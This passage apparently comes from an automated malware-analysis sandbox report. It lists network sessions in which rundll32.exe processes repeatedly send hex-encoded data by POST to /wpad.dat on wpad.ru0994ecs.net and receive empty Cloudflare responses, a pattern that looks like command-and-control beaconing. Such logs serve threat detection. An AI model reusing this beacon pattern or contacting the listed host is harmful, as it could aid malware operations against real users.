2024-04-16 21:02:27 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 35 31 62 30 31 61 34 32 35 61 38 32 62 62 65 63 64 61 66 35 39 36 64 66 33 35 39 30 63 62 65 63 62 65 36 31 63 39 65 31 63 32 64 66 35 33 65 38 32 39 64 37 31 32 64 35 32 31 37 62 61 65 32 37 61 30 65 65 63 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6551b01a425a82bbecdaf596df3590cbecbe61c9e1c2df53e829d712d5217bae27a0eec73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:02:28 UTC	529	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:02:28 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JUOrAwbgToohuvvVg2T%2Fz0SJE0xqc5jSh7jG0cnCkXik7iCmPVeOPrmjAwNo6GGoLezFamo08nJaTOJBdrRu4bdyKv5XYSWmCq9ASZPHwQrAkESfleaYaEB0zkZNyxdCN8UCmsQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571dd0f8821d64-ATL
2024-04-16 21:02:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49741	104.21.62.151	443	4208	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:02:31 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:02:31 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 34 31 62 30 31 61 65 33 63 61 63 32 35 64 66 61 62 61 36 34 30 37 66 39 37 35 34 30 62 62 61 64 38 65 64 36 35 65 63 31 38 33 39 38 37 34 35 66 66 66 30 37 36 35 62 33 34 36 39 62 61 39 37 37 35 31 35 39 31 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6541b01ae3cac25dfaba6407f97540bbad8ed65ec18398745fff0765b3469ba9775159173b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:02:31 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:02:31 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=M8m7GSE0CARN6MrSHXfVakUVfEwGbtZNIcETq70abVKWRp4G0z92we15kB9nfkE4JZKm0T3WmS0ABQsXJS13Ct1Q%2By8or%2BR4vdY%2FxdbwiKVKwI%2BrbXC7gIIDfk5HjHclS4ARJa0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571de6ba1644ef-ATL
2024-04-16 21:02:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49742	104.21.62.151	443	2308	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:02:31 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:02:31 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 35 31 62 30 31 61 34 32 35 61 38 32 62 62 65 63 64 61 66 35 39 36 64 66 33 35 39 30 63 62 65 63 62 65 36 31 63 39 65 31 63 32 64 66 35 33 65 38 32 39 64 37 31 32 64 35 32 31 37 62 61 65 32 37 61 30 65 65 63 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6551b01a425a82bbecdaf596df3590cbecbe61c9e1c2df53e829d712d5217bae27a0eec73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:02:31 UTC	531	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:02:31 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wObAjNeuo1seIDtE65P488cRR6HWD4wyFPpNEUx6S1H%2FC39GEJEtu%2FtTtNx1D3qYwrdV4104OUZEnceKcO9lQuVoRaMN94UsLHOdvWTRiGUxJIiAKb4jk8IQjP5JAZvoqFkKyRg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571de7892b1357-ATL
2024-04-16 21:02:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49744	104.21.62.151	443	4208	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:02:31 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:02:31 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 34 31 62 30 31 61 65 33 63 61 63 32 35 64 66 61 62 61 36 34 30 37 66 39 37 35 34 30 62 62 61 64 38 65 64 36 35 65 63 31 38 33 39 38 37 34 35 66 66 66 30 37 36 35 62 33 34 36 39 62 61 39 37 37 35 31 35 39 31 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6541b01ae3cac25dfaba6407f97540bbad8ed65ec18398745fff0765b3469ba9775159173b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:02:32 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:02:32 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wz%2FHh2Oc8os9B3mJP%2ByJKtiOTQuKMkm5xr4UsTUESUG6HjHi5m%2FMnAg39JDpLakpU65WyUSfbe64KIPphYukxbGNRmH%2B0JSGnzLeM4UM41PLBqLwZfcWU55H6IQFC7CpK6LY5r8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571deaa81f0807-ATL
2024-04-16 21:02:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49745	104.21.62.151	443	2308	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:02:32 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:02:32 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 35 31 62 30 31 61 34 32 35 61 38 32 62 62 65 63 64 61 66 35 39 36 64 66 33 35 39 30 63 62 65 63 62 65 36 31 63 39 65 31 63 32 64 66 35 33 65 38 32 39 64 37 31 32 64 35 32 31 37 62 61 65 32 37 61 30 65 65 63 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6551b01a425a82bbecdaf596df3590cbecbe61c9e1c2df53e829d712d5217bae27a0eec73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:02:32 UTC	529	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:02:32 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=B83VEqVssEz18RGCaCdCf1a7SEKgboOPCEDbuf%2FjSfGugX2zQ7zNUTekjuLSxRcxR8Et4GyupjsgHE69W5fmFydWtqQHZs2PcU59yGeqRLZZDUy9E4dGNpL5lgQBgKxRuwD6YZ8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571debaa20138d-ATL
2024-04-16 21:02:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49746	104.21.62.151	443	7200	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:02:32 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:02:32 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 32 31 62 30 31 64 33 32 32 62 38 33 39 61 34 62 31 61 61 32 32 36 64 38 31 32 66 31 33 62 30 62 31 39 37 36 64 39 30 31 38 33 30 38 34 32 35 38 66 65 65 30 61 35 30 33 32 30 65 64 38 66 33 37 34 30 39 65 32 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6521b01d322b839a4b1aa226d812f13b0b1976d90183084258fee0a50320ed8f37409e273b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:02:32 UTC	531	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:02:32 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XIJ4gcWtcusYWdTdBvo6L9NmhzZIfTGGIO5Ox3ucrfBUnXgxZ%2FrMp49EWi%2Bmazzo3a6yVOnQgd6veiRQbCSDhUidVyEzPZXbc9yWleLhWjMcT6HYJEgQ5bKUGb9rS9hFFK1SGQY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571dedaa277b96-ATL
2024-04-16 21:02:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49751	104.21.62.151	443	4208	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:02:34 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:02:34 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 34 31 62 30 31 61 65 33 63 61 63 32 35 64 66 61 62 61 36 34 30 37 66 39 37 35 34 30 62 62 61 64 38 65 64 36 35 65 63 31 38 33 39 38 37 34 35 66 66 66 30 37 36 35 62 33 34 36 39 62 61 39 37 37 35 31 35 39 31 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6541b01ae3cac25dfaba6407f97540bbad8ed65ec18398745fff0765b3469ba9775159173b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:02:34 UTC	539	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:02:34 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4y%2BEQeQpPctDaQaXNozTrLjv7JsgxQs%2Fwq50HUdJkNaGrVAlMCClIO%2FFHpye3C%2FAke00fMxRC8CgAMRcGhnRrFae%2BarfTPVd1vbekS%2B4c7n8E8BUJIduW7uuxhBUBdJ3xWSwpJg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571dfaa9a607ce-ATL
2024-04-16 21:02:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49752	104.21.62.151	443	2308	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:02:34 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:02:34 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 35 31 62 30 31 61 34 32 35 61 38 32 62 62 65 63 64 61 66 35 39 36 64 66 33 35 39 30 63 62 65 63 62 65 36 31 63 39 65 31 63 32 64 66 35 33 65 38 32 39 64 37 31 32 64 35 32 31 37 62 61 65 32 37 61 30 65 65 63 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6551b01a425a82bbecdaf596df3590cbecbe61c9e1c2df53e829d712d5217bae27a0eec73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:02:34 UTC	533	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:02:34 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Qo1moRaofU2BriagpRXF62ovp3rIU12RQtEzRW9BzCBg%2BPwL%2F7cCyY6aiMPnk6n2O8XtAzYq5bhSeWg4Ou4HorfGQJS9%2BEm5PNKsZDU5mOhnqmXkLfyazTBskoBKBgjTapVdelQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571dfbd9224509-ATL
2024-04-16 21:02:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49753	104.21.62.151	443	7200	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:02:36 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:02:36 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 32 31 62 30 31 64 33 32 32 62 38 33 39 61 34 62 31 61 61 32 32 36 64 38 31 32 66 31 33 62 30 62 31 39 37 36 64 39 30 31 38 33 30 38 34 32 35 38 66 65 65 30 61 35 30 33 32 30 65 64 38 66 33 37 34 30 39 65 32 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6521b01d322b839a4b1aa226d812f13b0b1976d90183084258fee0a50320ed8f37409e273b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:02:36 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:02:36 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BBc1OmjPuVRNaAALpztoFzlx1nzsUJ3AoEmNtUh2eTltUNxqEy28nJ%2B0AhVO%2FOLKaNBXK9HXqLzFt2uwcnuK%2BJ0EPqv6Akr5gQFSoWsTDkuvWKY3SIHwNTk17LMUkcBqYThsSCI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571e04991406e6-ATL
2024-04-16 21:02:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49754	104.21.62.151	443	4208	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:02:38 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:02:38 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 34 31 62 30 31 61 65 33 63 61 63 32 35 64 66 61 62 61 36 34 30 37 66 39 37 35 34 30 62 62 61 64 38 65 64 36 35 65 63 31 38 33 39 38 37 34 35 66 66 66 30 37 36 35 62 33 34 36 39 62 61 39 37 37 35 31 35 39 31 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6541b01ae3cac25dfaba6407f97540bbad8ed65ec18398745fff0765b3469ba9775159173b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:02:38 UTC	539	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:02:38 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=veW0bNWp3hhbjXVG0oun0D17vXkdfkkNBdFdYAhWc6hox%2F20q%2B2Ds%2F97Ur63zI6hDfd7VwrtdO6vcr9%2FdbvDSQ7Xk8rH2IGgp5GuzQsXju6tj%2BtZS9C5aqg%2BEdvPKV7dACfdgq0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571e112e338834-ATL
2024-04-16 21:02:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49755	104.21.62.151	443	2308	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:02:38 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:02:38 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 35 31 62 30 31 61 34 32 35 61 38 32 62 62 65 63 64 61 66 35 39 36 64 66 33 35 39 30 63 62 65 63 62 65 36 31 63 39 65 31 63 32 64 66 35 33 65 38 32 39 64 37 31 32 64 35 32 31 37 62 61 65 32 37 61 30 65 65 63 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6551b01a425a82bbecdaf596df3590cbecbe61c9e1c2df53e829d712d5217bae27a0eec73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:02:38 UTC	539	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:02:38 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4H0fm8N95fnKTTYzsspR2D3neqQsSe600khelbdHmjz3axzBAE2mGfl5PL%2B97yxABlVsYe77Vym%2F%2FTogFmzBEECQeXke%2Fbnx2AJgirnikR4xW2%2FD1vQ3mthbfZ%2B4qTFZjIdTXTA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571e124ab37ba0-ATL
2024-04-16 21:02:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49756	104.21.62.151	443	4208	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:02:38 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:02:38 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 34 31 62 30 31 61 65 33 63 61 63 32 35 64 66 61 62 61 36 34 30 37 66 39 37 35 34 30 62 62 61 64 38 65 64 36 35 65 63 31 38 33 39 38 37 34 35 66 66 66 30 37 36 35 62 33 34 36 39 62 61 39 37 37 35 31 35 39 31 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6541b01ae3cac25dfaba6407f97540bbad8ed65ec18398745fff0765b3469ba9775159173b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:02:39 UTC	533	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:02:39 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wG6zKRAu2KdhQLttXbDitZ41EFTGBpyDXlGrY%2FYgiLRYrTFyCqTBH27Z5jdvVLII51p8f1XhKjzDCFegGjs9WNg5uL5YPiJXP%2BbEHqYqofyFgZMuMjivbABoHbpmS%2Fba8ctc0is%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571e152fc37ba6-ATL
2024-04-16 21:02:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49757	104.21.62.151	443	2308	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:02:38 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:02:38 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 35 31 62 30 31 61 34 32 35 61 38 32 62 62 65 63 64 61 66 35 39 36 64 66 33 35 39 30 63 62 65 63 62 65 36 31 63 39 65 31 63 32 64 66 35 33 65 38 32 39 64 37 31 32 64 35 32 31 37 62 61 65 32 37 61 30 65 65 63 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6551b01a425a82bbecdaf596df3590cbecbe61c9e1c2df53e829d712d5217bae27a0eec73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:02:39 UTC	533	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:02:39 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XKb6MbdJj8l79ty3YRRPuYgmiGVx6%2BHagrxDRAcQmvMevPslDnuX7h2BLFto0QYA%2FmdfouwknCvRewCh0UD1SZKvFuhegL9KergQ%2B2uVa4aq7OUOihvpii7Hp4Ko43JISgb9MOk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571e160d47673f-ATL
2024-04-16 21:02:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49758	104.21.62.151	443	7200	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:02:39 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
